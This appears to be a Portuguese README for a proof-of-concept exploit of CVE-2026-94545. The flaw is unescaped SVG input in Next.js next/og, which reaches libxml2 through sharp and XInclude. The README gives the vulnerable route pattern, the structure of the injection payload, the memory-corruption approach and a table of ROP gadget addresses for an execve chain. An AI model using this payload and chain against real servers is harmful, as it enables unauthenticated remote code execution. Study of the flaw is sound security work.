
PoC em Python para CVE-2026-94545: explora entrada SVG não escapada no next/og do Next.js para acionar corrupção do libxml2 e uma cadeia ROP para RCE não autenticado.
next/og do Next.jsApenas para uso em pesquisa de segurança, em ambientes de vulnerabilidade autorizados.
| Item | Valor |
|---|---|
| CVE | CVE-2026-94545 / GHSA-vcvr-r3jv-pc5j |
| Upstream | Satori GHSA-wx4j-mvgx-mqwp |
| Causa Raiz | CWE-116 (Codificação ou Escape de Saída Impróprios) → Corrupção de memória do parser XML nativo → RCE |
| Afetado | Next.js 16.2.0 – 16.3.5 (runtime Node com sharp instalado); Satori empacotado ≥ 0.0.27 e < 0.33.5 |
| Corrigido | Next.js 16.3.6 / Satori 0.33.5 |
| Impacto | Executar comandos arbitrários no processo do serviço Next.js sem autenticação |
| Stack Testada | Next.js 16.3.5 + sharp 0.35.4 (libvips 8.18.6, librsvg 2.62.91, libxml2 2.15.3) + binário oficial x64 do Node.js v24.20.0 (non-PIE) |
Com o runtime Edge (export const runtime = 'edge') ou quando o sharp não está instalado, a renderização passa pelo sandbox resvg-wasm, portanto esta vulnerabilidade não alcança a cadeia de parsing nativa e, consequentemente, não se torna RCE.
A entrada do usuário é concatenada no SVG como texto simples, e esse SVG é então inserido inteiro em uma URL data: e entregue a um parser XML em linguagem C para uma segunda rodada de parsing. Entre esses passos, apenas a codificação de URL é realizada; o escape XML nunca é feito.
Padrão típico: POST /api/og coloca todo o corpo da requisição, ou GET /api/og?value= coloca o parâmetro de consulta, diretamente no <title> do SVG de ImageResponse, sem filtragem ou escape.
import { ImageResponse } from 'next/og'
export const runtime = 'nodejs'
export const dynamic = 'force-dynamic'
async function render(request) {
const url = new URL(request.url)
const value = request.method === 'POST'
? await request.text()
: (url.searchParams.get('value') ?? '')
return new ImageResponse(
<svg width="1200" height="630"><title>{value}</title></svg>,
{ width: 1200, height: 630 }
)
}
export const GET = render
export const POST = render
ImageResponse recebe uma árvore de elementos JSX e retorna um PNG. Qualquer rota que grave dados da requisição em nós filhos / atributos / estilos de SVG é um sink.
next/ognode_modules/next/og.js encaminha para next/dist/server/og/image-response.js. O runtime Node carrega dinamicamente next/dist/compiled/@vercel/og/index.node.js (caminho nativo); o runtime Edge carrega o caminho wasm e não é afetado por esta vulnerabilidade.
@vercel/og — O Satori Gera o SVG e Depois o Entrega para RasterizaçãoO fluxo do @vercel/og empacotado no Next.js (comentários do artefato compilado confirmam que ele contém [email protected]) é:
sharp for detectado, entregar o SVG à biblioteca nativa para rasterização; caso contrário, recorrer ao resvg-wasm.const svg = await satori2(element, { width, height, fonts, ... })
if (sharp) {
pngBuffer = await sharp(new TextEncoder().encode(svg)).resize(width).png().toBuffer()
} else {
const resvgJS = new resvg.Resvg(svg, { fitTo: { mode: ... } })
}
Neste ponto, a entrada do usuário já se tornou uma string SVG e é passada literalmente para o sharp (libvips nativo).
Para um <svg> escrito explicitamente em JSX, o Satori o serializa inteiro em uma URL data:image/svg+xml e depois o incorpora à saída como um <image>.
vercel/[email protected] src/layout.ts: chama SVGNodeToImage ao entrar em um nó <svg>.
src/handler/preprocess.ts tem duas falhas principais:
const SVGSymbols = /[\r\n%#()<>?[\\\]^`{|}"']/g // Only used for URI percent-encoding
export function translateSVGNodeToSVGString(node, inheritedColor) {
if (typeof node !== 'object') return String(node) // Flaw 1: string child nodes are returned as-is, with no XML entity escaping
return `<${type}${attrs}${styles}>${translateSVGNodeToSVGString(children, currentColor)}</${type}>`
}
export async function SVGNodeToImage(element, inheritedColor) {
return `data:image/svg+xml;utf8,${`<svg ...>...</svg>`.replace(SVGSymbols, encodeURIComponent)}`
// Flaw 2: only URI percent-encoding is performed, not XML escaping
}
&, < e > não são escritos como & / < / >. A codificação percentual é apenas uma exigência de sintaxe de URL; quando o parser downstream carrega a URL data:, %3C/title%3E é restaurado para um </title> real, e o texto do atacante transita de "dados" de volta para "estrutura do documento".
Quando a entrada é </title><xi:include …/><title>, o SVG intermediário entregue pelo Satori ao sharp assume a seguinte forma (decodificado para ilustração):
<svg width="1200" height="630" viewBox="0 0 1200 630" xmlns="http://www.w3.org/2000/svg">
<image x="0" y="0" width="1200" height="630"
href="data:image/svg+xml;utf8,...<title></title><xi:include
xmlns:xi='http://www.w3.org/2001/XInclude'
href='data:image/svg+xml,...' parse='xml'/><title></title>..." />
</svg>
sharp(SVG buffer)
→ libvips vips_foreign_load_svg_buffer()
→ librsvg rsvg_handle_new_from_stream_with_flags()
├─ Parses the outer SVG
├─ When it encounters <image href="data:image/svg+xml,...">, loads and re-parses the sub-document
└─ XML parsing is delegated to libxml2
→ libxml2 xmlStringLenDecodeEntities / xmlXIncludeProcessNode / xmlXIncludeLoadDoc
A carga útil usa duas camadas de injeção para controlar a estrutura de entrada do libxml2:
</title><xi:include parse="xml" href="data:…"> externo faz o parser saltar para o carregamento de um documento aninhado totalmente controlado pelo atacante.O estado interno do libxml2 é levado além do esperado, resultando em uma escrita fora dos limites. O efeito de corrupção é atingido de forma confiável por meio de sequências de coordenadas <path> de SVG cuidadosamente organizadas (doubles IEEE-754 carregando palavras little-endian de 8 bytes), sequestrando assim o fluxo de controle.
execveO binário linux-x64 oficialmente lançado do Node.js é um executável não-PIE com base de carregamento fixa; os endereços de PLT / GOT e gadgets são constantes, portanto nenhum vazamento de informação é necessário.
Este PoC é construído para o Node.js v24.20.0 oficial x64; os gadgets são os seguintes:
| Símbolo | Endereço | Finalidade |
|---|---|---|
POP_RDI | 0xA1EAED | pop rdi ; ret |
POP_RAX | 0x7F38D4 | pop rax ; ret |
POP_RSI | 0x95823D | pop rsi ; ret |
POP_RDX | 0x776758 | pop rdx ; ret |
STOSQ_RET | 0xD16725 | stosq ; ret (escreve no scratch qword por qword) |
EXECVE_PLT | 0x745FA0 | stub PLT de execve |
SCRATCH | 0x6B5F500 | Endereço gravável fixo |